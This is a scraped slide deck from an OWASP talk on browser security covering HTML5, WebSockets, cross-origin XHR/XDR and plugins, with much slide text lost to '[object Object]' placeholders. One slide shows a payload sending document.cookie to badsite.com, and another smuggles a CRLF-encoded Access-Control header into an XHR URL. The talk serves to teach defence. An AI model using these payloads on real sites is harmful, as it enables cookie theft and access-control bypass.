![Who am I? ,[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-2-2048.jpg?cb=1665510551)
![Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-3-2048.jpg?cb=1665510551)
![Introduction ,[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-4-2048.jpg?cb=1665510551)
![Introduction ,[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-5-2048.jpg?cb=1665510551)
![Introduction ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-6-2048.jpg?cb=1665510551)
![Next Challenges ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-7-2048.jpg?cb=1665510551)
![HMTL5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],y.hello.com x.hello.com XSS Injection document.domain = hello.com Communication between 2 subdomains through XSS](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-8-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],Malicious Third party 3.COM (b) Iframe injection src=2.COM 1.COM (vulnerable) Cross Context Scripting between 2.COM and 3.COM (a) Injection in 1.COM of document.open pointing to 3.COM](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-9-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],A.COM B.COM ,[object Object],[object Object],Test.foo served as text/foo redirection to: http://a.com/foo?url=b.com/test.foo](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-10-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-11-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-12-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-13-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-14-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-15-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],A.COM B.COM var o = document.getElementsByTagName('iframe')[0]; o.contentWindow.postMessage('Hello world', 'http://b.com/'); NOTE: this condition can be omitted or = *](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-16-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],<eventsource> data: http://www.google.com/news/1 data: http://www.yahoo/com/news/3 data: http://bbc.co.uk/news/2 EventStream PULLS](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-17-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],BOTNET badsite.com/evil.php ,[object Object],[object Object],Data Stream (MIME: text/event-stream) Data: wait(); Data: wait(); Data: document.write(<img src=‘http://badsite.com/’+document.cookie); Botnet operates following XHR access control for data exchange](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-18-2048.jpg?cb=1665510551)
![HTML5 ,[object Object],[object Object],Client at 123.com Server at aa.com GET ws://aa.com/ HTTP/1.1 Upgrade: WebSocket Connection: Upgrade Host: 123.com Origin: http://123.com Authorization: Basic d2FsbGU6ZXZl HTTP/1.1 101 Web Socket Protocol Handshake Upgrade: WebSocket Connection: Upgrade WebSocket-Origin: http://aa.com WebSocket-Location: ws://aa.com:80/ Data Framing Read/send data byte per byte Data Framing Send/read raw UTF8 data byte per byte Close TCP/IP connection – no handshake Close TCP/IP connection – no handshake](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-19-2048.jpg?cb=1665510551)
![WebApps (XHR) ,[object Object],Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open("GET or POST", "http://aaa.com/test.txt") client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Hello World! GET NOTE: the entire access control system relies on HTTP headers So what happens with an HTTP Splitting Attack? JavaScript + XHR: new client = new XMLHttpRequest(); client.open("GET or POST", "http://aaa.com/test.txt %0A%0DAccess-Control-Allow-Origin: http://bbb.com%0a%0d%0a%0d ") client.onreadystatechange = function() { /* do something */ } client.send()](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-20-2048.jpg?cb=1665510551)
![WebApps (XHR) ,[object Object],Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“OPTIONS", "http://aaa.com/test.txt") client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Access-Control-Max-Age: 3628800 Preflight Request: OPTIONS JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“DELETE", "http://aaa.com/test.txt") client.onreadystatechange = function() { /* do something */ } client.send() DELETE NOTE: the entire access control system relies on HTTP headers](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-21-2048.jpg?cb=1665510551)
![XHR Alternative – XDR (Xdomain Request) ,[object Object],Resource: aaa.com/xdr.txt Client: bbb.com JavaScript + XDR: xdr = new XDomainRequest(); xdr.open(“GET", “http://www.aaa.com/xdr.txt") HTTP Response: XDomainRequestAllowed=1 Hello! GET HTTP Request: GET /xdr.txt XDomainRequest: 1 Host: bbb.com NOTE: the entire XDR relies on HTTP headers](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-22-2048.jpg?cb=1665510551)
![Browser Plugins ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-23-2048.jpg?cb=1665510551)
![Browser Plugins ,[object Object],[object Object],[object Object],test.addEventListener(MouseEvent.CLICK, downloadFile); var fileRef:FileReference = new FileReference(); function downloadFile(event:MouseEvent):void { fileRef.download(new URLRequest("http://www.aaa.com/file.html"), “file.html"); }](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-24-2048.jpg?cb=1665510551)
![OWASP Intrinsic Group ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-25-2048.jpg?cb=1665510551)
![Questions? ,[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-26-2048.jpg?cb=1665510551)
![References ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-27-2048.jpg?cb=1665510551)
![References ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/browsersecurity-12695072365115-phpapp01/75/browser-security-28-2048.jpg?cb=1665510551)
Browser Security
•8 likes•16,387 views
Report
Share
Download to read offline
This talk is a generic but comprehensive overview of security mechanism, controls and potential attacks in modern browsers. The talk focuses also on new technologies, such as HTML5 and related APIs to highlight new attack scenario against browsers.
More Related Content
What's hot
What's hot (20)
Viewers also liked
Viewers also liked (20)
Similar to Browser Security
Similar to Browser Security (20)
More from Roberto Suggi Liverani
More from Roberto Suggi Liverani (13)
Recently uploaded
Recently uploaded (20)
Browser Security
- 1. OWASP – Browser Security Roberto Suggi Liverani Security Consultant Security-Assessment.com 3 September 2008
Editor's Notes
- Updateready-> application cache is not the newest